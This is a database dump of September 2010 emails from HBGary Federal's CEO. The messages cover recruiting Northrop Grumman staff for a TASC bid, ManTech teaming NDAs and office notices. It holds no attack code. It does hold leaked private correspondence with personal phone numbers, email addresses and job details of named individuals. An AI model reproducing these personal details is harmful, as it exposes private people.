Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 9/17/2010 10:27 PMTo: Clair, Chris (TASC); Garcia, Kathy (TASC)Subject: WowThe NG local leadership followed a few employees to lunch across the street.&nbsp; Those employees were meeting with Ted.&nbsp; When they got back they were lectured and harassed about talking with us, how that might be perceived.&nbsp; They know we are actively recruiting and they&nbsp; are using fear and intimidation on their employees.&nbsp; Unbelievable.Aaron&nbsp;&nbsp;',15424,'aaron_hbgary_com/15424.html'),(12035,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008961.M857925P14101Q6890.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Wow',':)Begin forwarded message:From: \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt;Date: September 20, 2010 12:21:02 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: WowYeah – my whole management staff was in the room too.&nbsp; We also have some full time work for Tawny to do remotely from CO until the RFP is awarded and probably after that.&nbsp;&nbsp;Puzzle pieces are finally starting to fit together.&nbsp; This is cool.&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, September 20, 2010 12:18 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Wow&nbsp;You guys are great.&nbsp;On Sep 20, 2010, at 12:16 PM, Clair, Chris (TASC) wrote:FYI - Good news.&nbsp; Al says hire them.&nbsp; Hire all of them as soon as you can.&nbsp; I have a phone interview with Tawny (and some work) on Wednesday.&nbsp; Things are getting better and better.&nbsp; Don’t worry, we’ll give folks the option to work for the team mate they desire.&nbsp; This will work out!&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Saturday, September 18, 2010 11:18 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Wow&nbsp;Yeah we need to talk. &nbsp;I have to fly to Cincinatti on Monday for a few days. &nbsp;Another note to follow to the broader group.&nbsp;Aaron&nbsp;On Sep 18, 2010, at 11:52 AM, Clair, Chris (TASC) wrote:Aaron,I\'m working a scenario at TASC.&nbsp; Is there any way I hire them and we (both companies) use them part time for work?&nbsp; If I can cover them 50% we can hire knowing they will transition to ROMAS.&nbsp; Let\'s talk next week to develop some work out at the Springs.&nbsp; I don\'t want NC intimidation techniques to ruin the possibility of continuing the work.Tawny is first on my list, but if we can get the whole or part of the team, I am all for it.Let me know what you think.&nbsp; I am available to talk Sunday afternoon if you like.Chris&nbsp;&nbsp;-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 9/17/2010 10:27 PMTo: Clair, Chris (TASC); Garcia, Kathy (TASC)Subject: WowThe NG local leadership followed a few employees to lunch across the street.&nbsp; Those employees were meeting with Ted.&nbsp; When they got back they were lectured and harassed about talking with us, how that might be perceived.&nbsp; They know we are actively recruiting and they&nbsp; are using fear and intimidation on their employees.&nbsp; Unbelievable.Aaron&nbsp;&nbsp;',6578,'aaron_hbgary_com/6578.html'),(12036,'2010-09-20','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297008962.M360209P14101Q6892.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting Gatorbiat','Aaron:\r\n\r\nSeems I lost your iphone number.  Can you provide it or call me at  \r\n703-869-9319\r\n\r\nThanks,\r\n\r\nCharlie\r\n\r\n\r\nOn Sep 20, 2010, at 12:20 PM, Aaron Barr wrote:\r\n\r\n> sure.\r\n>\r\n> On Sep 20, 2010, at 10:22 AM, Charlie Scuilla wrote:\r\n>\r\n>> Aaron:\r\n>>\r\n>> Not yet.  How about a call at 1PM?\r\n>>\r\n>> Charlie\r\n>>\r\n>>\r\n>> On Sep 20, 2010, at 8:26 AM, Aaron Barr wrote:\r\n>>\r\n>>> Hey Charlie,\r\n>>>\r\n>>> Have you done it at all yet?\r\n>>>\r\n>>> Lets get on today if you have some time.   I am flying to  \r\n>>> Cincinnati tomorrow morning for a few days.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Sep 16, 2010, at 2:47 PM, Charlie Scuilla wrote:\r\n>>>\r\n>>>> Aaron:\r\n>>>>\r\n>>>> I thought that we were going to chat - on facetime?\r\n>>>>\r\n>>>> Charlie\r\n>>>>\r\n>>>>\r\n>>>> On Jul 26, 2010, at 1:24 PM, Aaron Barr wrote:\r\n>>>>\r\n>>>>> Hey Charlie,\r\n>>>>>\r\n>>>>> More to follow next week.  I met with Bob Frisbie, my old boss,  \r\n>>>>> who now runs Mantechs work for that organization.  I have signed  \r\n>>>>> an NDA with them.  I also mentioned to Bob that you guys were  \r\n>>>>> interested as well.  He said he was still working on putting  \r\n>>>>> together \"the team\" and was looking for people that could  \r\n>>>>> contribute.  I don\'t know exactly what that means, but I will  \r\n>>>>> ask him again when I see him next week in our follow up meeting.\r\n>>>>>\r\n>>>>> I talked to GD on the phone, they are also interested to talk to  \r\n>>>>> us, we have a standing relationship with Jim Jaeger and his  \r\n>>>>> group, but I haven\'t heard anything else from him yet.  I think  \r\n>>>>> Mantech has potentially the strongest offering going into this,  \r\n>>>>> besides maybe Harris/Crucial.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Jul 26, 2010, at 12:09 PM, Charlie Scuilla wrote:\r\n>>>>>\r\n>>>>>> Aaron:\r\n>>>>>>\r\n>>>>>> How did the meeting with Mantech go?\r\n>>>>>>\r\n>>>>>> Charlie\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n>>>>>>\r\n>>>>>>> I have a meeting with Mantech early next month.  Forget about  \r\n>>>>>>> Northrop, the lead for this does not have the capability, this  \r\n>>>>>>> is not Xetron but another part of Northrop that has a  \r\n>>>>>>> contentious relationship with Xetron so they will likely not  \r\n>>>>>>> team well internally.  I have reached out to GD to find out  \r\n>>>>>>> what their position is.  Interesting I know Wayne Chunn from  \r\n>>>>>>> way back when he was with Scitor, I don\'t know his new company  \r\n>>>>>>> though.  Everyone else doesn\'t excite me.  Mandiant certainly  \r\n>>>>>>> has some forensics capability, don\'t know how many cleared  \r\n>>>>>>> people they have etc.  CACI I don\'t know much about.  MacB has  \r\n>>>>>>> some capability certainly, we have some contacts there, they  \r\n>>>>>>> are mostly focused in San Antonio.\r\n>>>>>>>\r\n>>>>>>> Aaron\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>>>>>>>\r\n>>>>>>>> Sorry it t\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> \r\n>>>>>>>\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>\r\n>>>\r\n>>\r\n>\r\n\r\n',2120,'aaron_hbgary_com/2120.html'),(12037,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008962.M587902P14101Q6893.eml','\"Charlie Scuilla\" <charlie@scuilla.com>','Re: Meeting Gatorbiat','LOL.  give me a call.  I just tried you, your phone picked up, but you were on the line with someone else I think.\r\n\r\nAaron\r\n\r\n719.510.8478\r\n\r\n\r\nOn Sep 20, 2010, at 1:05 PM, Charlie Scuilla wrote:\r\n\r\n> Aaron:\r\n> \r\n> Seems I lost your iphone number.  Can you provide it or call me at 703-869-9319\r\n> \r\n> Thanks,\r\n> \r\n> Charlie\r\n> \r\n> \r\n> On Sep 20, 2010, at 12:20 PM, Aaron Barr wrote:\r\n> \r\n>> sure.\r\n>> \r\n>> On Sep 20, 2010, at 10:22 AM, Charlie Scuilla wrote:\r\n>> \r\n>>> Aaron:\r\n>>> \r\n>>> Not yet.  How about a call at 1PM?\r\n>>> \r\n>>> Charlie\r\n>>> \r\n>>> \r\n>>> On Sep 20, 2010, at 8:26 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hey Charlie,\r\n>>>> \r\n>>>> Have you done it at all yet?\r\n>>>> \r\n>>>> Lets get on today if you have some time.   I am flying to Cincinnati tomorrow morning for a few days.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Sep 16, 2010, at 2:47 PM, Charlie Scuilla wrote:\r\n>>>> \r\n>>>>> Aaron:\r\n>>>>> \r\n>>>>> I thought that we were going to chat - on facetime?\r\n>>>>> \r\n>>>>> Charlie\r\n>>>>> \r\n>>>>> \r\n>>>>> On Jul 26, 2010, at 1:24 PM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> Hey Charlie,\r\n>>>>>> \r\n>>>>>> More to follow next week.  I met with Bob Frisbie, my old boss, who now runs Mantechs work for that organization.  I have signed an NDA with them.  I also mentioned to Bob that you guys were interested as well.  He said he was still working on putting together \"the team\" and was looking for people that could contribute.  I don\'t know exactly what that means, but I will ask him again when I see him next week in our follow up meeting.\r\n>>>>>> \r\n>>>>>> I talked to GD on the phone, they are also interested to talk to us, we have a standing relationship with Jim Jaeger and his group, but I haven\'t heard anything else from him yet.  I think Mantech has potentially the strongest offering going into this, besides maybe Harris/Crucial.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Jul 26, 2010, at 12:09 PM, Charlie Scuilla wrote:\r\n>>>>>> \r\n>>>>>>> Aaron:\r\n>>>>>>> \r\n>>>>>>> How did the meeting with Mantech go?\r\n>>>>>>> \r\n>>>>>>> Charlie\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> On Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n>>>>>>> \r\n>>>>>>>> I have a meeting with Mantech early next month.  Forget about Northrop, the lead for this does not have the capability, this is not Xetron but another part of Northrop that has a contentious relationship with Xetron so they will likely not team well internally.  I have reached out to GD to find out what their position is.  Interesting I know Wayne Chunn from way back when he was with Scitor, I don\'t know his new company though.  Everyone else doesn\'t excite me.  Mandiant certainly has some forensics capability, don\'t know how many cleared people they have etc.  CACI I don\'t know much about.  MacB has some capability certainly, we have some contacts there, they are mostly focused in San Antonio.\r\n>>>>>>>> \r\n>>>>>>>> Aaron\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Sorry it t\r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>> \r\n>> \r\n> \r\n\r\n',14886,'aaron_hbgary_com/14886.html'),(12038,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008962.M845268P14101Q6894.eml','\"Mary Sullivan\" <mary.sullivan@fidelissecurity.com>','Scout','Hi Mary,\r\n\r\nCan I come pick up the scout box?  I got lambasted last week with the DARPA CINDER proposal.\r\n\r\nAaron',5182,'aaron_hbgary_com/5182.html'),(12039,'2010-09-20','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008962.M91517P14101Q6891.eml','\"Inc. HBGARY\" <All@hbgary.com>','Remonder Timecards','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys I forgot to remind you on Friday.&nbsp; Could you please\r\nhave your timecards done as early as possible this morning. \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12111,'aaron_hbgary_com/12111.html'),(12040,'2010-09-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008963.M306335P14101Q6896.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Wow','Can you tell chris that Josh applied. On Sep 20, 2010, at 10:27 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n:)Begin forwarded message:\r\nFrom: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: September 20, 2010 12:21:02 PM EDT\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Wow\r\n\r\nYeah – my whole management staff was in the room too.  We also have some full time work for Tawny to do remotely from CO until the RFP is awarded and probably after that. \r\n \r\nPuzzle pieces are finally starting to fit together.  This is cool.\r\n \r\nChris\r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 12:18 PMTo: Clair, Chris (TASC)Subject: Re: Wow\r\n \r\nYou guys are great. \r\nOn Sep 20, 2010, at 12:16 PM, Clair, Chris (TASC) wrote:\r\nFYI - Good news.  Al says hire them.  Hire all of them as soon as you can.  I have a phone interview with Tawny (and some work) on Wednesday.  Things are getting better and better.  Don’t worry, we’ll give folks the option to work for the team mate they desire.  This will work out!\r\n \r\nChris\r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, September 18, 2010 11:18 PMTo: Clair, Chris (TASC)Subject: Re: Wow\r\n \r\nYeah we need to talk.  I have to fly to Cincinatti on Monday for a few days.  Another note to follow to the broader group.\r\n Aaron\r\n On Sep 18, 2010, at 11:52 AM, Clair, Chris (TASC) wrote:\r\n\r\nAaron,I&#39;m working a scenario at TASC.  Is there any way I hire them and we (both companies) use them part time for work?  If I can cover them 50% we can hire knowing they will transition to ROMAS.  Let&#39;s talk next week to develop some work out at the Springs.  I don&#39;t want NC intimidation techniques to ruin the possibility of continuing the work.\r\nTawny is first on my list, but if we can get the whole or part of the team, I am all for it.Let me know what you think.  I am available to talk Sunday afternoon if you like.Chris  -----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 9/17/2010 10:27 PMTo: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: WowThe NG local leadership followed a few employees to lunch across the street.  Those employees were meeting with Ted.  When they got back they were lectured and harassed about talking with us, how that might be perceived.  They know we are actively recruiting and they  are using fear and intimidation on their employees.  Unbelievable.\r\nAaron \r\n \r\n\r\n',7785,'aaron_hbgary_com/7785.html'),(12041,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008963.M795953P14101Q6897.eml','\"Zosh\" <mydocs@zosh.com>','Fwd: ManTech/HB Gary Non-Disclosure Agreement-PEGASUS','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Kassaie, Rachel C\" \r\n> Date: September 9, 2010 3:50:29 PM EDT\r\n> To: \r\n> Cc: \"Mentzer, Justin C\" \r\n> Subject: ManTech/HB Gary Non-Disclosure Agreement-PEGASUS\r\n> \r\n> Mr. Barr,\r\n>  \r\n> Please find attached ManTech’s standard Non-Disclosure Agreement to discuss teaming with ManTech on the Pegasus recompete effort. Please review, sign, and return this document at your earliest opportunity. I will have it countersigned and sent back to you.\r\n>  \r\n> If you would like to negotiate the language contained in this NDA, please track your proposed changes and return to me for review. Let me know if you have any questions.\r\n>  \r\n> Thanks,\r\n>  \r\n> Rachel Kassaie\r\n> Subcontracts Administrator\r\n> ManTech Mission, Cyber, Technology and Solutions Group\r\n> 7799 Leesburg Pike\r\n> Eighth Floor\r\n> Falls Church, VA\r\n> Direct: 703-873-6546\r\n> Fax: 703-847-0486\r\n> rachel.kassaie@mantech.com\r\n>  \r\n> Making America Stronger by Supporting and Securing Critical Missions\r\n>  **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>  \r\n\r\n',6891,'aaron_hbgary_com/6891.html'),(12042,'2010-09-20','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008963.M90868P14101Q6895.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Scout','Let me see If it\'s ready.\r\n\r\nSent from my mobile--excuse typos or brevity\r\n\r\nOn Sep 20, 2010, at 1:21 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Hi Mary,\r\n>\r\n> Can I come pick up the scout box?  I got lambasted last week with  \r\n> the DARPA CINDER proposal.\r\n>\r\n> Aaron\r\n',2013,'aaron_hbgary_com/2013.html'),(12043,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008964.M413769P14101Q6898.eml','\"Zosh\" <mydocs@zosh.com>','Fwd: ManTech/HB Gary Non-Disclosure Agreement-M-II','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Kassaie, Rachel C\" \r\n> Date: September 9, 2010 3:55:06 PM EDT\r\n> To: \r\n> Cc: \"Mentzer, Justin C\" \r\n> Subject: ManTech/HB Gary Non-Disclosure Agreement-M-II\r\n> \r\n> Mr. Barr,\r\n>  \r\n> Please find attached ManTech’s standard Non-Disclosure Agreement to discuss teaming with ManTech on the M-II effort. Please review, sign, and return this document at your earliest opportunity. I will have it countersigned and sent back to you.\r\n>  \r\n> If you would like to negotiate the language contained in this NDA, please track your proposed changes and return to me for review. Let me know if you have any questions.\r\n>  \r\n> Thanks,\r\n>  \r\n> Rachel Kassaie\r\n> Subcontracts Administrator\r\n> ManTech Mission, Cyber, Technology and Solutions Group\r\n> 7799 Leesburg Pike\r\n> Eighth Floor\r\n> Falls Church, VA\r\n> Direct: 703-873-6546\r\n> Fax: 703-847-0486\r\n> rachel.kassaie@mantech.com\r\n>  \r\n> Making America Stronger by Supporting and Securing Critical Missions\r\n>  **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>  \r\n\r\n',2262,'aaron_hbgary_com/2262.html'),(12044,'2010-09-20','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008964.M717098P14101Q6899.eml','support@zosh.com,support@zosh.com','Error Processing E-mail: aaron@hbgary.com','\r\n\r\nProcessing Error\r\n\r\n\r\n\r\nAn email with the following attachments was received on Mon, Sep 20, \'10 at 5:49 PM from aaron@hbgary.com. \r\nUnfortunately, some attachments in the e-mail could not be converted to a PDF format. As a result, some documents\r\nmay not be available in your Zosh iPhone Application.  This format is still in Beta.\r\n\r\n\r\n\r\nFor up to date info.  @zoshapp.  Please feel free to contact support directly at http://support.zosh.com.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n			  \r\nThank you for using Zosh.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4493,'aaron_hbgary_com/4493.html'),(12045,'2010-09-20','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008964.M951940P14101Q6900.eml','support@zosh.com,support@zosh.com','Error Processing E-mail: aaron@hbgary.com','\r\n\r\nProcessing Error\r\n\r\n\r\n\r\nAn email with the following attachments was received on Mon, Sep 20, \'10 at 5:49 PM from aaron@hbgary.com. \r\nUnfortunately, some attachments in the e-mail could not be converted to a PDF format. As a result, some documents\r\nmay not be available in your Zosh iPhone Application.  This format is still in Beta.\r\n\r\n\r\n\r\nFor up to date info.  @zoshapp.  Please feel free to contact support directly at http://support.zosh.com.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n			  \r\nThank you for using Zosh.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3765,'aaron_hbgary_com/3765.html'),(12046,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008965.M907212P14101Q6901.eml','\"Zosh\" <mydocs@zosh.com>','NDA Mantech','',1245,'aaron_hbgary_com/1245.html'),(12047,'2010-09-20','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008966.M253040P14101Q6902.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Mon, Sep 20, \'10 at 5:54 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    M-II - HBGary:Mantech NDA.pdf\r\n    Pegasus - HBGary:Mantech NDA.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1972,'aaron_hbgary_com/1972.html'),(12048,'2010-09-20','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008966.M894752P14101Q6903.eml','aaron@hbgary.com','Here is your completed Zosh document.','\r\n\r\nYou just filled out and signed a document on your iPhone!\r\n\r\n\r\n&nbsp;Executed with Zosh www.zosh.com.\r\n\r\n\r\n',9215,'aaron_hbgary_com/9215.html'),(12049,'2010-09-20','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008967.M484158P14101Q6904.eml','aaron@hbgary.com','Here is your completed Zosh document.','\r\n\r\nYou just filled out and signed a document on your iPhone!\r\n\r\n\r\n&nbsp;Executed with Zosh www.zosh.com.\r\n\r\n\r\n',2171,'aaron_hbgary_com/2171.html'),(12050,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008968.M466572P14101Q6905.eml','\"Kassaie, Rachel C\" <Rachel.Kassaie@ManTech.com>,\"Kassaie, Rachel C\" <Rachel.Kassaie@ManTech.com>','Re: ManTech/HB Gary Non-Disclosure Agreement-M-II','Rachel,\r\n\r\nAttached are the M-II and Pegasus signed NDAs.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 3:55 PM, Kassaie, Rachel C wrote:\r\n\r\n> Mr. Barr,\r\n>  \r\n> Please find attached ManTech’s standard Non-Disclosure Agreement to discuss teaming with ManTech on the M-II effort. Please review, sign, and return this document at your earliest opportunity. I will have it countersigned and sent back to you.\r\n>  \r\n> If you would like to negotiate the language contained in this NDA, please track your proposed changes and return to me for review. Let me know if you have any questions.\r\n>  \r\n> Thanks,\r\n>  \r\n> Rachel Kassaie\r\n> Subcontracts Administrator\r\n> ManTech Mission, Cyber, Technology and Solutions Group\r\n> 7799 Leesburg Pike\r\n> Eighth Floor\r\n> Falls Church, VA\r\n> Direct: 703-873-6546\r\n> Fax: 703-847-0486\r\n> rachel.kassaie@mantech.com\r\n>  \r\n> Making America Stronger by Supporting and Securing Critical Missions\r\n>  **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>  \r\n> \r\n\r\n',13289,'aaron_hbgary_com/13289.html'),(12051,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008968.M858706P14101Q6906.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Wow','Also,Josh Fugate applied. &nbsp;Arabic linguist (military trained) and Flash developer.I spoke with Matt. &nbsp;He is starting to feel good. &nbsp;I think you will really be able to use his skillz. &nbsp;Script writing, graphics design, video work. &nbsp;Very talented.One thought. &nbsp;If you hire Tawny, Matt, Aaron, Jeremiah. &nbsp;You might want to talk with Lawrence about getting one of the 3 scifs that are in his building. &nbsp;They have all been acredited by this customer. &nbsp;You could have them move in and start doing some class work maybe?Really funny thing would be if NG had to subcontract to you to get some of the projects done they are working on... (evil grin).The ripple you will send by hiring those 4 will be big.AaronOn Sep 20, 2010, at 12:21 PM, Clair, Chris (TASC) wrote:Yeah – my whole management staff was in the room too.&nbsp; We also have some full time work for Tawny to do remotely from CO until the RFP is awarded and probably after that.&nbsp;&nbsp;Puzzle pieces are finally starting to fit together.&nbsp; This is cool.&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, September 20, 2010 12:18 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Wow&nbsp;You guys are great.&nbsp;On Sep 20, 2010, at 12:16 PM, Clair, Chris (TASC) wrote:FYI - Good news.&nbsp; Al says hire them.&nbsp; Hire all of them as soon as you can.&nbsp; I have a phone interview with Tawny (and some work) on Wednesday.&nbsp; Things are getting better and better.&nbsp; Don’t worry, we’ll give folks the option to work for the team mate they desire.&nbsp; This will work out!&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Saturday, September 18, 2010 11:18 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Wow&nbsp;Yeah we need to talk. &nbsp;I have to fly to Cincinatti on Monday for a few days. &nbsp;Another note to follow to the broader group.&nbsp;Aaron&nbsp;On Sep 18, 2010, at 11:52 AM, Clair, Chris (TASC) wrote:Aaron,I\'m working a scenario at TASC.&nbsp; Is there any way I hire them and we (both companies) use them part time for work?&nbsp; If I can cover them 50% we can hire knowing they will transition to ROMAS.&nbsp; Let\'s talk next week to develop some work out at the Springs.&nbsp; I don\'t want NC intimidation techniques to ruin the possibility of continuing the work.Tawny is first on my list, but if we can get the whole or part of the team, I am all for it.Let me know what you think.&nbsp; I am available to talk Sunday afternoon if you like.Chris&nbsp;&nbsp;-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 9/17/2010 10:27 PMTo: Clair, Chris (TASC); Garcia, Kathy (TASC)Subject: WowThe NG local leadership followed a few employees to lunch across the street.&nbsp; Those employees were meeting with Ted.&nbsp; When they got back they were lectured and harassed about talking with us, how that might be perceived.&nbsp; They know we are actively recruiting and they&nbsp; are using fear and intimidation on their employees.&nbsp; Unbelievable.Aaron&nbsp;&nbsp;',7696,'aaron_hbgary_com/7696.html'),(12052,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008969.M302694P14101Q6908.eml','\"Aaron Spring\" <aspring@springdesigngroup.com>','Re: Offer','Hi Aaron,I have something for you.TASC has some immediate positions open. &nbsp;We have come to an agreement there are 5 people I would like to have on the HBGary team once we win Romas, if they so choose, your one of them.So for your immediate peace of mind I want to make sure you are aware you can apply for those positions on the TASC website. &nbsp;Once we win you will have the option to stay with TASC or switch to HBGary if you want to.Here are the positions.118583 Web S/W Developer 5118580 Web S/W Developer 4118573 Web S/W Developer 3118584 Systems Admin 4118586 Graphics Artist 5118587 Graphics Artist 4Let me know if you have any questions. &nbsp;If you would rather just go with a contingent offer let me know and I will get the HBGary contingent offer out to you right away.AaronOn Sep 19, 2010, at 1:15 AM, Aaron Spring wrote: Aaron,Yes, things at NG have become very stressful and it has definitely put me in an awkward position. Recently, my direct team mates have stolen the spot light and my management has forced me to participate in their shenanigans. We have not been following employees to lunch. That whole scenario panned out because Nick and I went to the homebrew supply store downtown, and then went to have lunch a block over at El Taco Rey. Our new security officer was with us, and he was the one who made the stink. Needless to say, it has been a real joy over the last few months.As I mentioned before, I am interested in joining your team and am very interested in seeing what your contingent offer includes. I am very dedicated to this mission, and would like to continue working it from both an operational and management perspective. I would really enjoy working with Ted and yourself again as well.Right now, I\'m taking an extended weekend and will not be returning to the office until Tuesday. Please email me the appropriate paperwork on Monday, and I\'ll get you response as soon as I can.Thanks again!AaronOn 9/17/2010 8:36 PM, Aaron Barr wrote:Aaron,There is unfortunately in this circumstance no better way that I can do this. &nbsp;I know your in a tough spot, you all are. &nbsp;Your leadership has taken the fear and intimidation route instead of using better leadership through innovation and inspiration. &nbsp;I know we spoke a while back and you were on board, we have delayed in getting out offer letters waiting for the RFP and negotiating with the prime when and who to hire, the proposal is now imminent. &nbsp;Please know that none of the customer will question your loyalty to the mission if you sign a contingent offer, in fact it shows that no matter what you are trying to take care of yourself and want to stay with this mission. &nbsp;Government is not wedded to any specific company just a capability and your overall capability has been sagging. &nbsp;John doesn\'t care if you sign contingent offers with other 